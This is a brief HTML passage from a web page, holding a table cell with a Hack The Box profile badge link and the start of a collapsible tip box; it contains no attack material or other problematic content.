<td style="text-align: center"><a href="https://app.hackthebox.com/users/458049"><img src="https://www.hackthebox.com/badge/image/458049" alt="" style="display: unset"></a></td>
</tr>
</tbody>
</table>
<br>
<div
class="alert alert-tip collapsed"
style="border-color: #bdbb26;"
>
<div
class="alert-heading-box"
onclick="toggleAlert(this)"
>